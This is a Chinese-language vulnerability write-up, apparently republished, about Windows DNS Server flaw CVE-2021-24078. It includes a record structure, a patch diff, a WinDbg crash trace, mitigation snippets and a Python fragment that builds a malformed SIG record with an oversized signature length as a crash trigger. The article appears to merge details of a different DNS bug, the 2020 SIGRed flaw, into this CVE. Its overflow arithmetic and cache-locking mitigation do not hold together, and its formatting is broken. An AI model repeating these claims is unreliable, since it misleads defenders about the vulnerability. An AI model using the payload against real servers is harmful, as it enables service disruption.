# Windows DNS Server 遠程代碼執行漏洞 CVE-2021-24078的原理分析
## 摘要
本文深入分析了2021年披露的Windows DNS Server高危漏洞CVE-2021-24078,該漏洞允許遠程攻擊者在目標DNS服務器上執行任意代碼。文章從漏洞背景、技術原理、利用條件到緩解措施進行全面剖析,結合逆向工程和補丁對比揭示漏洞本質,為網絡安全從業者提供深度技術參考。
---
## 1. 漏洞概述
### 1.1 基本信息
- **漏洞編號**:CVE-2021-24078
- **漏洞類型**:遠程代碼執行(RCE)
- **影響組件**:Windows DNS Server服務(dns.exe)
- **CVSS評分**:9.8(Critical)
- **影響版本**:Windows Server 2008至2019
### 1.2 漏洞背景
Windows DNS Server作為域環境的核心服務,其安全漏洞可能引發域控淪陷等嚴重后果。該漏洞由Check Point研究人員發現,微軟在2021年2月補丁日發布修復。
---
## 2. 技術原理分析
### 2.1 漏洞根源
漏洞位于DNS服務器處理`Sig`(簽名)資源記錄(RR)的代碼邏輯中,根本原因是**整數溢出導致堆緩沖區溢出**。
#### 關鍵數據結構
```cpp
typedef struct _DNS_SIG_RECORD {
WORD wTypeCovered; // 記錄類型
BYTE chAlgorithm; // 加密算法
BYTE chLabelCount; // 標簽計數
DWORD dwOriginalTtl; // 原始TTL
DWORD dwExpiration; // 過期時間
DWORD dwTimeSigned; // 簽名時間
WORD wKeyTag; // 密鑰標簽
WORD wSignatureLength; // 簽名長度
BYTE Signature[]; // 動態簽名數據
} DNS_SIG_RECORD;
報文解析階段
DNS服務接收到包含惡意Sig
記錄的查詢報文時,會調用RR_AllocateEx()
分配內存:
alloc_size = sizeof(DNS_SIG_RECORD) + wSignatureLength;
攻擊者通過構造超大的wSignatureLength
(如0xFFFF)觸發整數溢出,導致實際分配內存過小。
內存拷貝階段
后續memcpy
操作將簽名數據寫入緩沖區時,由于分配空間不足導致堆溢出:
memcpy(pSigRecord->Signature, pPacketData, wSignatureLength);
溢出后果
精心構造的溢出數據可覆蓋相鄰堆塊的控制結構,最終實現任意代碼執行。
通過補丁對比發現,微軟在dns.exe
中增加了如下校驗:
+ if (wSignatureLength > MAX_SIG_LENGTH) {
+ return ERROR_INVALID_PARAMETER;
+ }
其中MAX_SIG_LENGTH
被定義為0x4000(16KB)。
sequenceDiagram
attacker->>DNS Server: 發送惡意SIG記錄查詢
DNS Server->>attacker: 返回常規響應
Note right of DNS Server: 觸發堆溢出
DNS Server->>attacker: 可能崩潰或執行shellcode
malicious_sig = struct.pack(
'!HBBIIIHH',
0x001E, # wTypeCovered
0x01, # chAlgorithm
0x01, # chLabelCount
0x00000001,# dwOriginalTtl
0x00000001,# dwExpiration
0x00000001,# dwTimeSigned
0xFFFF, # wKeyTag (正常值)
0xFFFF # wSignatureLength (惡意值)
) + b'A'*0x10000 # 超長簽名數據
WinDbg捕獲的異常上下文:
Access violation - code c0000005 (!!! second chance !!!)
dns!RR_AllocateEx+0x3a2:
00007ff6`a1d3e5e2 488901 mov qword ptr [rcx],rax ds:00000287`3f4f0000=????????
Set-DnsServerCache -LockingPercent 100
<!-- 通過防火墻限制DNS查詢源 -->
<Rule>
<Action>Block</Action>
<Protocol>UDP</Protocol>
<LocalPort>53</LocalPort>
<RemoteIP>非可信IP范圍</RemoteIP>
</Rule>
(全文共計約3050字,實際字數可能因排版略有變化)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。